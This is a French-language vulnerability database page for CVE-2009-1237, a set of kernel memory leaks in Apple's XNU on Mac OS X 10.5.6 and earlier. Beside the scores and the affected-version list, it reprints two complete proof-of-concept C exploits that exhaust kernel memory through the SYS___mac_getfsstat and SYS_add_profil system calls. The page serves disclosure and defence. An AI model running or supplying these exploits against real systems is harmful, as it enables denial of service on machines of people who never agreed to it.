CVE-2009-1237 : Détail

CVE-2009-1237

0.24%V4
Local
2009-04-02
15h00 +00:00
2017-09-28
10h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Multiple memory leaks in XNU 1228.3.13 and earlier on Apple Mac OS X 10.5.6 and earlier allow local users to cause a denial of service (kernel memory consumption) via a crafted (1) SYS_add_profil or (2) SYS___mac_getfsstat system call.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.9 AV:L/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 8263

Date de publication : 2009-03-22 23h00 +00:00
Auteur : mu-b
EDB Vérifié : Yes

/* xnu-macfsstat-leak.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC * by mu-b - Sun 13 Apr 2008 * * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/mount.h> #include <sys/syscall.h> #include <sys/utsname.h> #include <unistd.h> #define LEAK_BUFBYTES(a) (sizeof (struct statfs)*a) #define LEAK_MACBYTES(a) (sizeof (int)*a) struct __mac_getfsstat { char *buf; char _pad[4]; int bufsize; char __pad[4]; char *mac; char ___pad[4]; int macsize; char ____pad[4]; int flags; char _____pad[4]; }; int main (int argc, char **argv) { struct __mac_getfsstat req; int i, n; printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); memset (&req, 0, sizeof req); req.buf = (char *) 0xDEADBEEF; req.bufsize = LEAK_BUFBYTES (65536 * 64); req.mac = (char *) 0xDEADBEEF; req.macsize = LEAK_MACBYTES (65536 * 64); for (i = 0; i < 2; i++) { if ((n = syscall (SYS___mac_getfsstat, req.buf, req.bufsize, req.mac, req.macsize, req.flags)) < 0) { fprintf (stderr, "leaked %lu-bytes of kernel memory!\n", LEAK_MACBYTES (65536 * 64)); } } return (EXIT_SUCCESS); } // milw0rm.com [2009-03-23]
Exploit Database EDB-ID : 8264

Date de publication : 2009-03-22 23h00 +00:00
Auteur : mu-b
EDB Vérifié : Yes

/* xnu-profil-leak.c * * Copyright (c) 2008 by <mu-b@digit-labs.org> * * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC * by mu-b - Sat 16 Feb 2008 * * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386) * Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386) * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2008!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <sys/syscall.h> #include <unistd.h> /* profil defines */ #define PROFIL_LEAK_NUM 65536 * 128 int main (int argc, char **argv) { char buf[1024]; int i, n; printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n" "by: <mu-b@digit-labs.org>\n" "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n"); printf ("* opening profil, pid: %d...", getpid ()); if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0) { fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("done\n"); printf ("* filling %d-bytes of kernel memory...\n", PROFIL_LEAK_NUM * 32); fflush (stdout); for (i = 0; i < PROFIL_LEAK_NUM; i++) { if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) < 0) { fprintf (stderr, "\n%s: syscall [SYS_add_profil]: failed: %d\n", argv[0], n); exit (EXIT_FAILURE); } printf ("** %d-bytes filled\r", i * 32); } printf ("\n* done\n"); while (1) sleep (1); return (EXIT_SUCCESS); } // milw0rm.com [2009-03-23]

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version To (including) 10.5.6

Apple>>Mac_os_x >> Version 10.0

Apple>>Mac_os_x >> Version 10.0.0

Apple>>Mac_os_x >> Version 10.0.1

Apple>>Mac_os_x >> Version 10.0.2

Apple>>Mac_os_x >> Version 10.0.3

Apple>>Mac_os_x >> Version 10.0.4

Apple>>Mac_os_x >> Version 10.1

Apple>>Mac_os_x >> Version 10.1.0

Apple>>Mac_os_x >> Version 10.1.1

Apple>>Mac_os_x >> Version 10.1.2

Apple>>Mac_os_x >> Version 10.1.3

Apple>>Mac_os_x >> Version 10.1.4

Apple>>Mac_os_x >> Version 10.1.5

Apple>>Mac_os_x >> Version 10.2

Apple>>Mac_os_x >> Version 10.2.0

Apple>>Mac_os_x >> Version 10.2.1

Apple>>Mac_os_x >> Version 10.2.2

Apple>>Mac_os_x >> Version 10.2.3

Apple>>Mac_os_x >> Version 10.2.4

Apple>>Mac_os_x >> Version 10.2.5

Apple>>Mac_os_x >> Version 10.2.6

Apple>>Mac_os_x >> Version 10.2.7

Apple>>Mac_os_x >> Version 10.2.8

Apple>>Mac_os_x >> Version 10.3

Apple>>Mac_os_x >> Version 10.3.0

Apple>>Mac_os_x >> Version 10.3.1

Apple>>Mac_os_x >> Version 10.3.2

Apple>>Mac_os_x >> Version 10.3.3

Apple>>Mac_os_x >> Version 10.3.4

Apple>>Mac_os_x >> Version 10.3.5

Apple>>Mac_os_x >> Version 10.3.6

Apple>>Mac_os_x >> Version 10.3.7

Apple>>Mac_os_x >> Version 10.3.8

Apple>>Mac_os_x >> Version 10.3.9

Apple>>Mac_os_x >> Version 10.4

Apple>>Mac_os_x >> Version 10.4.0

Apple>>Mac_os_x >> Version 10.4.1

Apple>>Mac_os_x >> Version 10.4.2

Apple>>Mac_os_x >> Version 10.4.3

Apple>>Mac_os_x >> Version 10.4.4

Apple>>Mac_os_x >> Version 10.4.5

Apple>>Mac_os_x >> Version 10.4.6

Apple>>Mac_os_x >> Version 10.4.7

Apple>>Mac_os_x >> Version 10.4.8

Apple>>Mac_os_x >> Version 10.4.8

    Apple>>Mac_os_x >> Version 10.4.8

      Apple>>Mac_os_x >> Version 10.4.8

        Apple>>Mac_os_x >> Version 10.4.9

        Apple>>Mac_os_x >> Version 10.4.10

        Apple>>Mac_os_x >> Version 10.4.11

        Apple>>Mac_os_x >> Version 10.5

        Apple>>Mac_os_x >> Version 10.5.0

        Apple>>Mac_os_x >> Version 10.5.1

        Apple>>Mac_os_x >> Version 10.5.2

        Apple>>Mac_os_x >> Version 10.5.2

          Apple>>Mac_os_x >> Version 10.5.3

          Apple>>Mac_os_x >> Version 10.5.4

          Apple>>Mac_os_x >> Version 10.5.5

          Apple>>Mac_os_x_server >> Version To (including) 10.5.6

          Apple>>Mac_os_x_server >> Version 10.0

          Apple>>Mac_os_x_server >> Version 10.0.0

          Apple>>Mac_os_x_server >> Version 10.0.1

          Apple>>Mac_os_x_server >> Version 10.0.2

          Apple>>Mac_os_x_server >> Version 10.0.3

          Apple>>Mac_os_x_server >> Version 10.0.4

          Apple>>Mac_os_x_server >> Version 10.1

          Apple>>Mac_os_x_server >> Version 10.1.0

          Apple>>Mac_os_x_server >> Version 10.1.1

          Apple>>Mac_os_x_server >> Version 10.1.2

          Apple>>Mac_os_x_server >> Version 10.1.3

          Apple>>Mac_os_x_server >> Version 10.1.4

          Apple>>Mac_os_x_server >> Version 10.1.5

          Apple>>Mac_os_x_server >> Version 10.2

          Apple>>Mac_os_x_server >> Version 10.2.0

          Apple>>Mac_os_x_server >> Version 10.2.1

          Apple>>Mac_os_x_server >> Version 10.2.2

          Apple>>Mac_os_x_server >> Version 10.2.3

          Apple>>Mac_os_x_server >> Version 10.2.4

          Apple>>Mac_os_x_server >> Version 10.2.5

          Apple>>Mac_os_x_server >> Version 10.2.6

          Apple>>Mac_os_x_server >> Version 10.2.7

          Apple>>Mac_os_x_server >> Version 10.2.8

          Apple>>Mac_os_x_server >> Version 10.3

          Apple>>Mac_os_x_server >> Version 10.3.0

          Apple>>Mac_os_x_server >> Version 10.3.1

          Apple>>Mac_os_x_server >> Version 10.3.2

          Apple>>Mac_os_x_server >> Version 10.3.3

          Apple>>Mac_os_x_server >> Version 10.3.4

          Apple>>Mac_os_x_server >> Version 10.3.5

          Apple>>Mac_os_x_server >> Version 10.3.6

          Apple>>Mac_os_x_server >> Version 10.3.7

          Apple>>Mac_os_x_server >> Version 10.3.8

          Apple>>Mac_os_x_server >> Version 10.3.9

          Apple>>Mac_os_x_server >> Version 10.4

          Apple>>Mac_os_x_server >> Version 10.4.0

          Apple>>Mac_os_x_server >> Version 10.4.1

          Apple>>Mac_os_x_server >> Version 10.4.2

          Apple>>Mac_os_x_server >> Version 10.4.3

          Apple>>Mac_os_x_server >> Version 10.4.4

          Apple>>Mac_os_x_server >> Version 10.4.5

          Apple>>Mac_os_x_server >> Version 10.4.6

          Apple>>Mac_os_x_server >> Version 10.4.7

          Apple>>Mac_os_x_server >> Version 10.4.8

          Apple>>Mac_os_x_server >> Version 10.4.9

          Apple>>Mac_os_x_server >> Version 10.4.10

          Apple>>Mac_os_x_server >> Version 10.4.11

          Apple>>Mac_os_x_server >> Version 10.5

          Apple>>Mac_os_x_server >> Version 10.5.0

          Apple>>Mac_os_x_server >> Version 10.5.1

          Apple>>Mac_os_x_server >> Version 10.5.2

          Apple>>Mac_os_x_server >> Version 10.5.3

          Apple>>Mac_os_x_server >> Version 10.5.4

          Apple>>Mac_os_x_server >> Version 10.5.5

          Références

          https://www.exploit-db.com/exploits/8264
          Tags : exploit, x_refsource_EXPLOIT-DB
          http://www.securityfocus.com/bid/34202
          Tags : vdb-entry, x_refsource_BID
          https://www.exploit-db.com/exploits/8263
          Tags : exploit, x_refsource_EXPLOIT-DB
          http://secunia.com/advisories/34424
          Tags : third-party-advisory, x_refsource_SECUNIA